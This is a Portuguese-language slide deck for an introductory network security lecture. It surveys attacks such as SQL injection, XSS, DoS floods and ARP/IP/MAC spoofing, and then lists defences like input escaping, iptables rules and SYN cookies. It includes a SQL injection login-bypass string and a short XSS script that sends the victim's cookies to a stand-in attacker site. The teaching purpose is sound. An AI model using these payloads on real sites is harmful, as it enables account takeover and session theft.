46
Segurança de redes não é coisa de moleque! Leandro Almeida [email protected] www.leandrocalmeida.com

Segurança de-redes

Embed Size (px)

Citation preview

Page 1: Segurança de-redes

Segurança de redes não é coisa de moleque!

Leandro [email protected]

Page 2: Segurança de-redes

- Professor Universitário- IFPB- Estácio (iDEZ)

-Especialista em Segurança da Informação-Mestrando em Informática- Certificado ITILv3- Fedora Ambassadors- Sócio-diretor da YouTI

Page 3: Segurança de-redes

Nosso chefe sempre tem um sobrinho que resolve tudo de informática!

Eu tenho um sobrinho que instala um antivírus que é uma beleza!

E o melhor é que eu não gasto nada

Page 4: Segurança de-redes

O problema é que os sobrinhos não aguentam o tranco!

Page 5: Segurança de-redes

Integridade Confidencialidade Disponibilidade

Segurança da Informação

Tecnologia da Informação

Negócios

Pessoas Processos Tecnologias

Page 6: Segurança de-redes

Negócios

Segurança da Informação

Segurança de

Redes

Page 7: Segurança de-redes

Fonte: www.cert.br

Incidentes de Segurança

Page 8: Segurança de-redes

Aplicações em rede precisam obedecer o Modelo de Camadas

Page 9: Segurança de-redes

Aplicação

Apresentação

Sessão

Transporte

Rede

Enlace

Física

Rede

Enlace

Física

Aplicação

Transporte

Modelo OSI Modelo TCP/IP

Page 10: Segurança de-redes

Ataques – Redes de Computadores

- Engenharia Social- ARP Spoofing - DoS / DDoS / DoS Layer 7 - Sql Injection- XSS- MAC Spoofing- IP Spoofing- Website Defacement- Pragas Virtuais (Vírus, Worms,...)

Page 11: Segurança de-redes

Aplicação

Transporte

Rede

Enlace

Físico

AtaquesSql Injection DoS HTTP

XSSBuffer Overflow

TCP SYN FLOOD UDP FLOODMain in the Middle

IP Spoofing ICMP Flooding

ARP Spoofing

MAC Spoofing

STP Attack

ARP Poisoning

Page 12: Segurança de-redes

SQL InjectionEx : Sistema de autenticação em PHP

Imagine se o usuário inserir os dados abaixo...Login: qualquer coisaSenha: ' OR '1'='1

SELECT * FROM usuarios WHERE login='qualquer coisa' AND senha = '' OR '1'='1'

Essa query SQL retornará todos os registros da tabela usuários!

Page 13: Segurança de-redes

http://www.computerworld.com/s/article/9215249/MySQL_Web_site_falls_victim_to_SQL_injection_attack

SQL InjectionCasos Reais

Website Mysql

Sonyhttp://www.bbc.co.uk/news/technology-13642145

Distrito Federalhttp://www.linhadefensiva.org/2008/05/ataques-de-sql-injection-atingem-sites-brasileiros/

Page 14: Segurança de-redes

XSS Suposição:Facebook vulnerável a Cross-Site Scripting

Insere um código(html, Javascript,...) malicioso no lugar de um post na base de dados do facebook

Usuário ingênuo clica no link...

<script>Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie

</script>

Page 15: Segurança de-redes

XSSCasos Reais

Page 16: Segurança de-redes

DoS HTTP GET SYN

SYN-ACK

ACK

GET /index.php

ACK

Pragma: 1010

...Erro 408 – Request Timeout

Page 17: Segurança de-redes

História...- Avenge Assange – 2010 (Prisão de Julian Assange - Wikileaks)

– Alvo: Mastecard- Sony – 2011 (Sony processou a GEOHOT pelo desbloqueio do PS3)

- Alvo: PSN (77 milhões de pessoas sem PSN)- Megaupload – 2012 (Prisão de Kim Dotcom)

- Alvo: FBI

Page 18: Segurança de-redes
Page 19: Segurança de-redes

DoS HTTP GETEstatísticas - CPU

Page 20: Segurança de-redes

DoS HTTP GETEstatísticas - CPU

Page 21: Segurança de-redes

DoS HTTP GETEstatísticas - Memória

Page 22: Segurança de-redes

DoS HTTP GETEstatísticas - Conexões

Page 23: Segurança de-redes

DoS HTTP POST SYN

SYN-ACK

ACK

POST / inserir.html

ACK

Continuação do POST

...Erro 400 – Bad Request

Page 24: Segurança de-redes

Buffer Overflow

<script>Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie

</script>

char nome[4]; int idade;

L E O \0 2 0Entrada: LEO idade: 20

char nome[4]; int idade;

L E O A \0Entrada: LEOOA idade: 65

O

Page 25: Segurança de-redes

Buffer OverflowCasos Reais

Page 26: Segurança de-redes

Ataques ao SSH- CERT Advisory CA-2002-18 OpenSSH Vulnerabilities in Challenge Response Handling- USN-649-1: Openssh Vulnerabilities- Openssh Security Advisory: cbc.adv – Plaintext Recovery Attack Against SSH CPNI-957037- CPNI Vulnerability Advisory SSH – CPNI-957037- Openssh vulnerability CVE-2008-0166, http://www.ubuntu.com/usn/usn-612-1

Page 27: Segurança de-redes

TCP SYN FLOOD

SYN

SYN-ACK

SYN

SYNSYNSYNSYNSYN

Page 28: Segurança de-redes

UDP FLOOD

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

Page 29: Segurança de-redes

Main in the Middle

Packet

Packet

Packet

Packet

Page 30: Segurança de-redes

IP Spoofing Packet

10.0.0.1

10.0.0.254

10.0.0.1

Packet

Packet

Packet

Packet

Atacante envia pacotes IP falsificados para a vítima, se passando por outro host na rede!

Packet

Page 31: Segurança de-redes

ICMP Flooding

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

Page 32: Segurança de-redes

Spanning Tree Attack

VLAN 1

VLAN 1

VLAN 2VLAN 1 VLAN 2VLAN 3

VLAN 1VLAN 2

Packet

PacketPacketPacket

Packet

Packet

Packet

Packet

PacketPacketPacketPacketPacket

Atacante se torna Root bridge

Page 33: Segurança de-redes

ARP SpoofingPacket

IP: 10.0.0.1MAC: 68:A3:C4:9B:73:54

IP: 10.0.0.254MAC: 52:54:00:69:42:4A

IP: 10.0.0.2MAC:68:A3:C4:9B:73:54

Packet

Packet

Packet

Packet

Atacante envia pacotes ARP falsificados para a vítima, se passando por outro host na rede!

Packet

arpspoof

Page 34: Segurança de-redes

ARP Poisoning

IP: 10.0.0.1MAC:68:A3:C4:9B:73:54

IP: 10.0.0.254MAC: 52:54:00:69:42:4A

IP: 10.0.0.2MAC: 68:A3:C4:9B:73:54

Packet

1 MAC2 MAC3 MAC4 MAC5 MAC6 MAC

Atacante envenena a tabela ARP do Switch

Page 35: Segurança de-redes

MAC Spoofing Packet

68:A3:C4:9B:73:54

52:54:00:69:42:4A

68:A3:C4:9B:73:54

Packet

Packet

Packet

Packet

Atacante envia pacotes com endereço MAC falsificado para a vítima, se passando por outro host na rede!

Page 36: Segurança de-redes

Como se proteger ?

Page 37: Segurança de-redes

Como se proteger ?- XSS e SQL Injection

- Filtrar os dados de entrada

- filter_input (PHP)

- Escapar os dados de saída

- MySQL: mysql_real_escape_string()

- PostgreSQL: pg_escape_string()

- htmlentities,htmlespecialchars

- Procure saber sobre o que é OWASP

Page 38: Segurança de-redes

Como se proteger ?- Buffer Overflow

- Filtrar os dados de entrada

- Verificar se a linguagem não checa se um número maior de dados pode ser armazenado em um buffer

- No exemplo citado, use software original e o mantenha sempre atualizado

Page 39: Segurança de-redes

Como se proteger ?- Ataques ao SSH

- Single Packet Authorization

iptables -A INPUT -i eth0 -p tcp –dport 22 -j REJECT

iptables -A INPUT -i eth0 -p tcp –dport 22 -s 10.0.0.1 -j ACCEPT

ssh

ssh connection refused

LIBPCAP

ssh

ssh connection accept

SPA Packet

Page 40: Segurança de-redes

Como se proteger ?- DoS HTTP GET/POST

Tentativas...

- TCP SYN Cookies- echo 1 > /proc/sys/net/ipv4/tcp_syncookies

- Instalar o mod_qos no Apache

Page 41: Segurança de-redes

Como se proteger ?- TCP/UDP/ICMP Flood

Existem tentativas de soluções com o módulo “limit” do iptables...

Page 42: Segurança de-redes

Como se proteger ?- IP Spoofing

- Ativar o rp_filter(Reverse Path) via kernel

Echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter

- Rejeita os pacotes quando a rota de saída difere da rota de entrada

Page 43: Segurança de-redes

Como se proteger ?- ARP Poisoning/Spoofing

- Uso do Port Security

- Mac Biding (atrelar MAC a IP)

- Uso de ferramentas como rarp / arpwatch

Page 44: Segurança de-redes

Perguntas ?

Page 45: Segurança de-redes

Vida longa e próspera!

Page 46: Segurança de-redes

Obrigado!Contatos:

[email protected]

www.leandrocalmeida.com

@leandrocalmeida

www.fb.com/leandrocalmeida